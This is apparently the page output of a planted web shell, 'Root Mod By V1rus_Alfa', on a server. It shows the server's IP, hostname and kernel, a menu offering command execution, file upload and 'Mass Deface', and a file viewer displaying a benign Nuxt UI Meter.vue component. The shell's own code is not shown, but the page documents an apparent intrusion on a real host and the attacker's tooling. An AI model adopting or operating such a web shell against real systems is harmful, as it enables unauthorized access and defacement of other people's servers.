���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
node_modules.1
/
@nuxt
/
ui
/
dist
/
runtime
/
components
/
elements
/
Viewing: Meter.vue
<template> <div :class="ui.wrapper" v-bind="attrs"> <template v-if="indicator || $slots.indicator"> <slot name="indicator" v-bind="{ percent, value }"> <div :class="indicatorContainerClass" :style="{ width: `${percent}%` }"> <div :class="indicatorClass"> {{ Math.round(percent) }}% </div> </div> </slot> </template> <meter :value="value" :min="normalizedMin" :max="normalizedMax" :class="[meterClass, meterAppearanceClass, meterBarClass]" /> <template v-if="label || $slots.label"> <slot name="label" v-bind="{ percent, value }"> <div :class="labelClass"> <UIcon v-if="icon" :name="icon" /> {{ label }} </div> </slot> </template> </div> </template> <script> import { computed, defineComponent, toRef } from "vue"; import { twJoin } from "tailwind-merge"; import UIcon from "../elements/Icon.vue"; import { useUI } from "../../composables/useUI"; import { mergeConfig } from "../../utils"; import appConfig from "#build/app.config"; import { meter } from "#ui/ui.config"; const config = mergeConfig(appConfig.ui.strategy, appConfig.ui.meter, meter); export default defineComponent({ components: { UIcon }, inheritAttrs: false, slots: Object, props: { value: { type: Number, default: 0 }, min: { type: Number, default: 0 }, max: { type: Number, default: 100 }, indicator: { type: Boolean, default: false }, label: { type: String, default: null }, size: { type: String, default: () => config.default.size, validator(value) { return Object.keys(config.meter.size).includes(value); } }, color: { type: String, default: () => config.default.color, validator(value) { return [...appConfig.ui.colors, ...Object.keys(config.color)].includes(value); } }, icon: { type: String, default: null }, class: { type: [String, Object, Array], default: () => "" }, ui: { type: Object, default: () => ({}) } }, setup(props) { const { ui, attrs } = useUI("meter", toRef(props, "ui"), config, toRef(props, "class")); function clampPercent(value, min, max) { if (min == max) { return value < min ? 0 : 100; } if (min > max) { max = [min, min = max][0]; } const percent2 = (value - min) / (max - min) * 100; return Math.max(0, Math.min(100, percent2)); } const indicatorContainerClass = computed(() => { return twJoin( ui.value.indicator.container ); }); const indicatorClass = computed(() => { return twJoin( ui.value.indicator.text, ui.value.indicator.size[props.size] ); }); const meterClass = computed(() => { return twJoin( ui.value.meter.base, ui.value.meter.background, ui.value.meter.ring, ui.value.meter.rounded, ui.value.meter.shadow, ui.value.color[props.color] ?? ui.value.meter.color.replaceAll("{color}", props.color), ui.value.meter.size[props.size] ); }); const meterAppearanceClass = computed(() => { return twJoin( ui.value.meter.appearance.inner, ui.value.meter.appearance.meter, ui.value.meter.appearance.bar, ui.value.meter.appearance.value ); }); const meterBarClass = computed(() => { return twJoin( ui.value.meter.bar.transition, ui.value.meter.bar.ring, ui.value.meter.bar.rounded, ui.value.meter.bar.size[props.size] ); }); const labelClass = computed(() => { return twJoin( ui.value.label.base, ui.value.label.text, ui.value.color[props.color] ?? ui.value.label.color.replaceAll("{color}", props.color), ui.value.label.size[props.size] ); }); const normalizedMin = computed(() => props.min > props.max ? props.max : props.min); const normalizedMax = computed(() => props.max < props.min ? props.min : props.max); const percent = computed(() => clampPercent(Number(props.value), normalizedMin.value, normalizedMax.value)); return { // eslint-disable-next-line vue/no-dupe-keys ui, attrs, indicatorContainerClass, indicatorClass, meterClass, meterAppearanceClass, meterBarClass, labelClass, normalizedMin, normalizedMax, percent }; } }); </script>
Coded With 💗 by
0x6ick Mod By V1rus_Alfa